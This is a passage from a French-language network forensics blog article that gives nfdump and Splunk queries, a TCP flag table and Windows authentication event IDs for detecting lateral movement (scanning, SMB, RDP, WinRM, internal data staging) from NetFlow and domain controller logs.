SECURITY-MONITOR</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  record SECURITY-RECORD</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  exporter SIEM-EXPORT</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  cache timeout active 60</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">interface Ethernet1/1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  ip flow monitor SECURITY-MONITOR input</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  ip flow monitor SECURITY-MONITOR output</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="43-requêtes-netflow-pour-la-détection-du-mouvement-latéral">4.3 Requêtes NetFlow pour la Détection du Mouvement Latéral<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#43-requ%C3%AAtes-netflow-pour-la-d%C3%A9tection-du-mouvement-lat%C3%A9ral" class="hash-link" aria-label="Direct link to 4.3 Requêtes NetFlow pour la Détection du Mouvement Latéral" title="Direct link to 4.3 Requêtes NetFlow pour la Détection du Mouvement Latéral" translate="no">​</a></h3>
<p>La plupart des entreprises stockent NetFlow dans un collecteur (SolarWinds NTA, Elastic avec Logstash, Splunk stream, open-source ntopng/nfdump). Les requêtes suivantes fonctionnent avec nfdump (analyseur NetFlow open-source en ligne de commande) :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># nfdump est installé sur la plupart des collecteurs de flux basés Linux</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Fichiers NetFlow généralement stockés dans : /var/cache/nfdump/ ou /opt/nfdump/data/</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ─── SCÉNARIO 1 : Trouver toutes les connexions DEPUIS un hôte compromis connu ───</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Remplacer 10.10.5.42 par l'IP source que vous investiguez</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/2025/11/15/ </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-t</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"2025-11-15 00:00:00-2025-11-15 23:59:59"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%ts %te %sa %da %dp %pr %byt %pkt %flg"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"src ip 10.10.5.42 and not dst ip 10.10.5.42"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-k4</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Trier par IP destination pour regrouper les cibles latérales</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ─── SCÉNARIO 2 : Détecter le scanning de ports interne ───</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Grand nombre de destinations uniques sur le même port = scanning</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/2025/11/15/ </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%sa %da %dp %pr %flg"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"src net 10.10.0.0/16 and dst net 10.10.0.0/16 and \</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">    (dst port 445 or dst port 135 or dst port 3389 or dst port 5985)"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">awk</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'{print $1" "$3}'</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># IP source + Port destination</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">sort</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">uniq</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-c</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-rn</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">head</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-30</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Sortie : comptage ip_source port_dst</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Comptages élevés sur le port 445 depuis une source unique = scanning SMB = BloodHound ou préparation latérale</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ─── SCÉNARIO 3 : Trouver les connexions SMB (port 445) entre postes de travail ───</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># SMB poste-à-poste est presque jamais légitime dans les environnements modernes</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Ajuster les plages de sous-réseaux à votre réseau</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/2025/11/15/ </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%ts %sa %da %dp %byt %flg"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"dst port 445 and src net 10.10.0.0/24 and dst net 10.10.0.0/24"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-v</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"10.10.0.10"</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Exclure le serveur de fichiers s'il en existe un dans ce sous-réseau</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ─── SCÉNARIO 4 : Détecter le mouvement latéral RDP ───</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/2025/11/15/ </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%ts %te %sa %da %byt"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"dst port 3389 and src net 10.10.0.0/16 and dst net 10.10.0.0/16"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">awk</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'{ bytes=$5; src=$3; dst=$4</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">           if (bytes &gt; 0) print src " -&gt; " dst " bytes=" bytes }'</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">sort</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">uniq</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-c</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-rn</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ─── SCÉNARIO 5 : Mouvement latéral WinRM (port 5985) ───</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># PowerShell remoting  rarement légitime entre postes de travail</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/2025/11/15/ </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%ts %sa %da %byt"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"dst port 5985 and src net 10.10.0.0/16"</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># ─── SCÉNARIO 6 : Préparation des données  grands transferts internes ───</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Avant l'exfiltration, les attaquants préparent les données sur un seul hôte</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Rechercher des transferts inhabituellement importants VERS un seul hôte interne</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/2025/11/15/ </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%sa %da %byt"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"src net 10.10.0.0/16 and dst net 10.10.0.0/16"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">awk</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'{bytes[$2] += $3} END {for (dst in bytes) print bytes[dst], dst}'</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-rn</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">head</span><span class="token plain"> </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-20</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">awk</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'{gb=$1/1073741824; printf "%-15s a reçu %.2f Go\n", $2, gb}'</span><br></span></code></pre></div></div>
<p><strong>Équivalent SPL Splunk pour les organisations stockant NetFlow dans Splunk :</strong></p>
<div class="language-spl codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-spl codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| tstats count, sum(bytes) as total_bytes, dc(dest_ip) as unique_dests</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    WHERE index=netflow earliest=-24h</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    BY src_ip, dest_port</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where dest_port IN (445, 135, 3389, 5985, 5986, 22)    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    AND src_ip LIKE "10.10.%"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval is_internal_src = if(match(src_ip, "^10\.10\."), 1, 0)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where is_internal_src=1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where unique_dests &gt; 5    /* scanning : une source touchant de nombreuses destinations */</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| eval total_GB = round(total_bytes/1073741824, 3)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort -unique_dests</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| table src_ip, dest_port, unique_dests, count, total_GB</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="44-lecture-des-drapeaux-tcp-pour-lidentification-des-techniques-dattaque">4.4 Lecture des Drapeaux TCP pour l'Identification des Techniques d'Attaque<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#44-lecture-des-drapeaux-tcp-pour-lidentification-des-techniques-dattaque" class="hash-link" aria-label="Direct link to 4.4 Lecture des Drapeaux TCP pour l'Identification des Techniques d'Attaque" title="Direct link to 4.4 Lecture des Drapeaux TCP pour l'Identification des Techniques d'Attaque" translate="no">​</a></h3>
<p>Les drapeaux TCP dans les enregistrements NetFlow révèlent la nature d'une connexion sans nécessiter le contenu des paquets. C'est particulièrement utile pour distinguer le scanning des sessions réelles :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Drapeaux TCP dans NetFlow (octet hexadécimal) :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">─────────────────────────────────────────────────────────────────</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Drapeau  Hex    Signification dans NetFlow           Signification Attaquant</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">─────────────────────────────────────────────────────────────────</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SYN      0x02   Tentative de connexion               Scanning : nombreux SYN sans réponse SYN-ACK</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SYN-ACK  0x12   Connexion acceptée                   Établissement de connexion normal</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">RST      0x04   Connexion refusée/réinitialisée      Port fermé  cible non à l'écoute</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">FIN-ACK  0x11   Terminaison propre de session        Session complète terminée</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SYN-RST  0x06   SYN immédiatement suivi d'un RST    Scan furtif (demi-ouvert)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">PSH-ACK  0x18   Transfert de données en cours        Session active avec mouvement de données</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">─────────────────────────────────────────────────────────────────</span><br></span></code></pre></div></div>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Trouver les flux SYN-only (scanning  connexions jamais complétées)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"></span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Ratio élevé SYN-only vers SYN-ACK sur le trafic de scanning interne</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">nfdump </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-R</span><span class="token plain"> /var/cache/nfdump/2025/11/15/ </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token parameter variable" style="color:hsl(26, 100%, 29%)">-o</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">"fmt:%ts %sa %da %dp %flg %pkt"</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token string" style="color:hsl(139, 66%, 32%)">"src net 10.10.0.0/16 and dst port 445"</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">|</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">\</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token function" style="color:hsl(256, 54%, 50%)">awk</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">        /\.S\.\.\.\./ { syn_only[$3]++ }     # Drapeau SYN uniquement = sans réponse</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">        /\.SA\.\.\.\./ { syn_ack[$3]++ }     # SYN-ACK = poignée de main complétée</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">        END {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">            for (dst in syn_only) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">                ratio = (syn_ack[dst] &gt; 0) ? syn_only[dst]/syn_ack[dst] : 999</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">                if (ratio &gt; 10) {  # 10x plus de SYN que de SYN-ACK = scanning</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">                    printf "SCAN détecté vers %s: %d SYN, %d SYN-ACK, ratio=%.1f\n",</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">                           dst, syn_only[dst], syn_ack[dst], ratio</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">                }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token string" style="color:hsl(139, 66%, 32%)">    '</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-5--corrélation-des-journaux-dauthentification-windows">Partie 5  Corrélation des Journaux d'Authentification Windows<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#partie-5--corr%C3%A9lation-des-journaux-dauthentification-windows" class="hash-link" aria-label="Direct link to Partie 5  Corrélation des Journaux d'Authentification Windows" title="Direct link to Partie 5  Corrélation des Journaux d'Authentification Windows" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="51-les-événements-dauthentification-importants-pour-la-forensique-réseau">5.1 Les Événements d'Authentification Importants pour la Forensique Réseau<a href="https://inferencedefense.com/fr/blog/fr-forensique-reseau-mouvement-lateral-dns-netflow-logs-auth#51-les-%C3%A9v%C3%A9nements-dauthentification-importants-pour-la-forensique-r%C3%A9seau" class="hash-link" aria-label="Direct link to 5.1 Les Événements d'Authentification Importants pour la Forensique Réseau" title="Direct link to 5.1 Les Événements d'Authentification Importants pour la Forensique Réseau" translate="no">​</a></h3>
<p>Les journaux d'événements de sécurité Windows sur les contrôleurs de domaine capturent chaque tentative d'authentification réseau dans le domaine. Ces événements constituent la <strong>couche d'identité</strong>  ils vous indiquent quel compte a été utilisé pour quelle connexion réseau, depuis quelle machine source.</p>
<!-- -->
<p><strong>Les identifiants d'événements clés pour la corrélation forensique réseau :</strong></p>
<table><thead><tr><th>ID Événement</th><th>Emplacement Journal</th><th>Ce qu'il Enregistre</th><th>Signification Mouvement Latéral</th></tr></thead><tbody><tr><td><strong>4624</strong></td><td>Sécurité (hôte cible)</td><td>Connexion réussie</td><td>Type 3 = connexion réseau ; mappe la connexion réseau à l'identité</td></tr><tr><td><strong>4625</strong></td><td>Sécurité (hôte cible)</td><td>Connexion échouée</td><td>Force brute, échecs pass-the-hash, scanning</td></tr><tr><td><strong>4648</strong></td><td>Sécurité (hôte source)</td><td>Identifiants explicites utilisés</td><td>Attaquant utilisant des identifiants alternatifs depuis un hôte</td></tr><tr><td><strong>4672</strong></td><td>Sécurité (hôte cible)</td><td>Privilèges spéciaux attribués</td><td>Accès équivalent admin sur la cible</td></tr><tr><td><strong>4769</strong></td><td>Sécurité (DC)</td><td>Requête Kerberos TGS</td><td>Quel ticket de service a été demandé depuis quel hôte</td></tr><tr><td><strong>4776</strong></td><td>Sécurité (DC)</td><td>Validation identifiants NTLM</td><td>Auth NTLM  inclut poste source et compte</td></tr><tr><td><strong>4768</strong></td><td>Sécurité (DC)</td><td>Requête Kerberos TGT</td><td>Auth Kerberos initiale  inclut IP source</td></tr><tr><td><strong>4771</strong></td><td>Sécurité (DC)</td><td>Échec pré-auth 